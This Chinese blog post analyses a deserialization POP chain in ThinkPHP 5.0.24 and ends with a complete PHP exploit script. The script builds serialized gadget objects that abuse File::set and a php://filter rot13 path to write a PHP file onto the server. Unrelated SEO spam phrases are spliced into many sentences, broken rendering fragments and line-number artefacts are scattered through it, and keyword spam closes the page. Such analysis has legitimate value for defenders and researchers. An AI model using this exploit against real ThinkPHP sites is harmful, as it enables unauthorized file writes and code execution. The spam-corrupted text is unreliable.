软件开发定制定制thinkphp5.0.24反序列化漏洞分析

thinkphp5.0.24漏洞分析

文章目录

thinkphp5框架:

thinkphp5软件开发定制定制的入口文件在public\index.php,访问

http://192.168.64.105/thinkphp_5.0.24/public/index.php
  • 1

具体分析

软件开发定制定制反序列化起点

软件开发定制定制写一个反序列化入口点

全局搜索__destruct()函数

\thinkphp_5.0.24\thinkphp\library\think\process\pipes\Windows.php中的__destruct()函数,调用了removeFiles()

跟进removeFiles(),第163行的file_exists可以触发__toString方法

全局搜索__toString方法

thinkphp\library\think\Model.php的第2265行,软件开发定制定制软件开发定制定制发现其调用了toJson方法

跟进toJson,发现其调用了toArray()方法(在.php中)

toArray

跟进toArray,软件开发定制定制发现其有三处可以调用__call方法(软件开发定制定制就是整一个可以控制的,软件开发定制定制然后让其调用该类不存在的方法,然后触发__call魔术方法)

__call(),软件开发定制定制在对象中调用一个不可软件开发定制定制访问方法时调用。

着重看第三处,也就是第912行,这个需要我们控制$value变量

这个$value变量是根据 $value = $this->getRelationData($modelRelation);而来的

getRelationData分析

跟进getRelationData方法,注意参数$modelRelation需要是Relation类型的,该方法也是thinkphp\library\think\Model.php中定义的

如果我们让if满足,那么$value=$this->parent,看三个条件

  1. $this->parent存在且可控
  2. 第二个条件!$modelRelation->isSelfRelation(),跟进isSelfRelation()方法,该方法在thinkphp\library\think\model\Relation.php中定义,返回$this->selfRelation,可控

  1. 第三个条件get_class($modelRelation->getModel()) == get_class($this->parent),也就是

跟进getModel()函数,该函数在thinkphp\library\think\model\Relation.php,返回$this->query->getModel(),其中$query可控

所以我们要查哪个类的getModel()可控,最后找到了thinkphp\library\think\db\Query.php的getModel方法,该方法返回$this->model,并且$this->parent可控

三个条件都满足,执行$value = $this->parent; return $value;,也就是\think\console\Output

该函数分析到这里

$modelRelation生成

上面分析了函数的执行过程,接下来分析我们怎么能传入一个Relation类的$modelRelation参数

发现$relation()函数是根据$relation的值进行调用的,需要满足if条件method_exists

跟进Loader::parseName瞅一瞅,这个函数也只是对传入的$name进行了一些大小写的替换,没有一些很严格的过滤操作,因为$name可控,所以$relation可控

在$relation可控的前提下,要满足这个method_exists,则需要将$relation设定为$this(也就是thinkphp\library\think\Model.php)中存在的方法

if (method_exists($this, $relation))
  • 1

这里选择getError,因为其不仅在Model类中定义,且error可控

所以我们只要设置了$error,那么其值就会通过 $modelRelation = $this->$relation();传给$modelRelation ,因为relation()也就是 Error(),所以就是$modelRelation = $this->Error(),即$modelRelation = $error

modelRelation分析到这里,而我们传的$error是什么,接下来会分析,其实就是HasOne

进入__call前的两个if

接下来要分析两个if条件

我们看第一个if,要满足 m o d e l R e l a t i o n 这 个 类 中 存 在 g e t B i n d A t t r ( ) 函 数 , 而 且 下 一 个 ‘ modelRelation这个类中存在getBindAttr()函数,而且下一个` modelRelationgetBindAttr()bindAttr`是该函数的返回值

全局搜索getBindAttr

其在OneToOne.php中定义,该类是个抽象类,且OneToOne类是Relation类的派生类,其$this->bindAttr可控

我们搜索继承OneToOne的类,发现HasOne类,所以可以让$modelRelation的值为HasOne,这个也满足getRelationData()传入的是Relation类对象的要求,并且bindAttr可控,满足第二个if条件,简直完美!!!

其实下面还有一个if,但是我们简单看下,将$bindAttr的键值对中的键给$key,然后进行isset判断,当已经定义才满足if,我们要进入的是不满足if条件的时候

__call

然后进入__call,要选择一个能写webshell的类的__call方法,选择了thinkphp\library\think\console\Output.php

所以上面的$value应该是一个thinkphp\library\think\console\Output.php类对象

在这里 m e t h o d 和 method和 methodthis->styles是可控的,array_unshift()对调用block()方法没有影响,可以执行block方法,跟进Output的block方法

跟进writeln方法

跟进write方法

handle属性可控,所以全局搜索write方法

thinkphp\library\think\session\driver\Memcached.php的write方法

而$this->handler可控,所以全局搜索可用的set方法

虚假的写文件

thinkphp\library\think\cache\driver\File.php中,set方法可以使用file_put_contents写文件,第158行的exit可以使用伪协议进行绕过

初步来看可以利用file_put_contents来写文件,我们跟入 d a t a 和 data和 datafilename,看 d a t a 与 data与 datafilename是否可控

  1. $filename的值是由getCacheKey()方法决定的,跟进getCacheKey,可以知道filename的后缀名是php,是写死的,文件名部分可控

  1. 跟进$data,发现$data是已经被写死了,$value的值只能为true

所以就是file_put_contents可以写文件,但是内容不可控

setTagItem

所以继续看set接下来的代码,调用了setTagItem()

进入thinkphp\library\think\cache\Driver.phpsetTagItem方法,(注意File类继承了Driver类,但是Driver是一个抽象类)并且会再执行一次set方法,这一次$key是由$this->tage而来,可控;$value由$name而来,也是可控的

但是windows对文件名有相应的要求,所以复现不容易

绕过exit

上面已经分析得很详细了,这里简单调试分析一下

到$value

到set方法这里,着重看一下,第一次整的时候,直接报错了,转到异常处理了,

这里是因为我的文件名不符合要求,所以先随便写一个,看接下来怎么走

随便写一个之后,走到setTagItem()这里,这里$tag是可控的,所以$key是可控的

这个第二次调用set函数,$key可知,$value可控

放在linux运行,生成了对应的文件

查看

这里虽然看着是加了',但是其实并没有,注意访问的时候,将?进行url编码一下

注意需要将php的short_open_tag设为Off,不然会将<??>之间的内容识别为php代码,但是<? 之后是cuc,不符合语法,所以报错

exp

<?phpnamespace think\process\pipes;use think\model\Pivot;abstract class Pipes{}//Windows类中有$files数组 通过file_exists触发__toString方法class Windows extends Pipes{        private $files = [];    //$files是个数组        public function __construct()        {            $this->files = [new Pivot()];   //触发Model类的toString()方法,因为Model是一个抽象类,所以选择其派生类Pivot        }}namespace think\model;use think\Model;class Pivot extends Model{}# Model抽象类namespace think;use think\model\relation\HasOne;use think\console\Output;use think\db\Query;abstract class Model{    protected $append = [];    protected $error;    public $parent;#修改处    protected $selfRelation;    protected $query;    protected $aaaaa;    function __construct(){        $this->parent = new Output();       //调用__call()        $this->append = ['getError'];       //会用foreach将append中的值传给$name,传给$relation,调用getError(),将下面的error传给$modelRelation        $this->error = new HasOne();       //最后传给$modelRelation        $this->selfRelation = false;    //isSelfRelation()        $this->query = new Query();     //用于判断getRelationData()中if条件的第三个    }}#Relation抽象类 之后的Output是Relation的派生类namespace think\model;  use think\db\Query;abstract class Relation{    protected $selfRelation;    protected $query;    function __construct(){        $this->selfRelation = false;  # 这个用于判断getRelationData()中if条件的第二个        $this->query = new Query();#class Query    }}#OneToOne HasOne  用于传给$modelRelation,主要是用于满足if条件,进入value->getAttr()namespace think\model\relation;use think\model\Relation;   abstract class OneToOne extends Relation{ # OneToOne抽象类    function __construct(){        parent::__construct();    }}// HasOneclass HasOne extends OneToOne{    protected $bindAttr = [];    function __construct(){        parent::__construct();        $this->bindAttr = ["no","123"]; # 这个需要动调,才能之后为什么这么写,待会说        }}#Output  进入Output->__call()namespace think\console;use think\session\driver\Memcached;class Output{    private $handle = null;    protected $styles = [];    function __construct(){        $this->handle = new Memcached();   //目的调用Memcached类的write()函数        $this->styles = ['getAttr'];   # 这是因为是通过Output->getAttr进入__call函数,而__call的参数中$method是getAttr    }}#Querynamespace think\db;use think\console\Output;class Query{    protected $model;    function __construct(){        $this->model = new Output();  //判断getRelationData()中if条件的第三个    }}#Memcachednamespace think\session\driver;use think\cache\driver\File;class Memcached{    protected $handler = null;    function __construct(){        $this->handler = new File();    //目的是调用File->set()    }}#Filenamespace think\cache\driver;class File{    protected $options = [];    protected $tag;    function __construct(){        $this->options = [        'expire'        => 0,        'cache_subdir'  => false,        'prefix'        => '',        'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',    //        'data_compress' => false,        ];        $this->tag = true;    }}use think\process\pipes\Windows;echo urlencode(serialize(new Windows()));
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120

pop链图

这里借用一下osword师傅的图

解决windows下的文件名问题

我们注意到,在原有的链子中,我们在thinkphp\library\think\session\driver\Memcached.php中将$this->handler设置为File类对象,目的是调用File.php的set()方法

但是也可以将$this->handler设置为thinkphp\library\think\cache\driver\Memcached.php中的Memcached类对象,注意这两个php文件是不一样的,其也有一个set方法

第114行也有一个set方法,且handler可控

看这个getCacheKey()函数,这个options可控,所以返回值可控

所以$key可控,但是我们前面分析过了,这个$value不可控,所以还是要进115行的setTagItem()函数,跟进,它还是在Driver.php中定义的,这里根据前面的分析,$key和$value都是可控的,且没有那个<>?这样的特殊符号的影响

详细参考:

参考链接

  1. [(1条消息)
网站建设定制开发 软件系统开发定制 定制软件开发 软件开发定制 定制app开发 app开发定制 app开发定制公司 电商商城定制开发 定制小程序开发 定制开发小程序 客户管理系统开发定制 定制网站 定制开发 crm开发定制 开发公司 小程序开发定制 定制软件 收款定制开发 企业网站定制开发 定制化开发 android系统定制开发 定制小程序开发费用 定制设计 专注app软件定制开发 软件开发定制定制 知名网站建设定制 软件定制开发供应商 应用系统定制开发 软件系统定制开发 企业管理系统定制开发 系统定制开发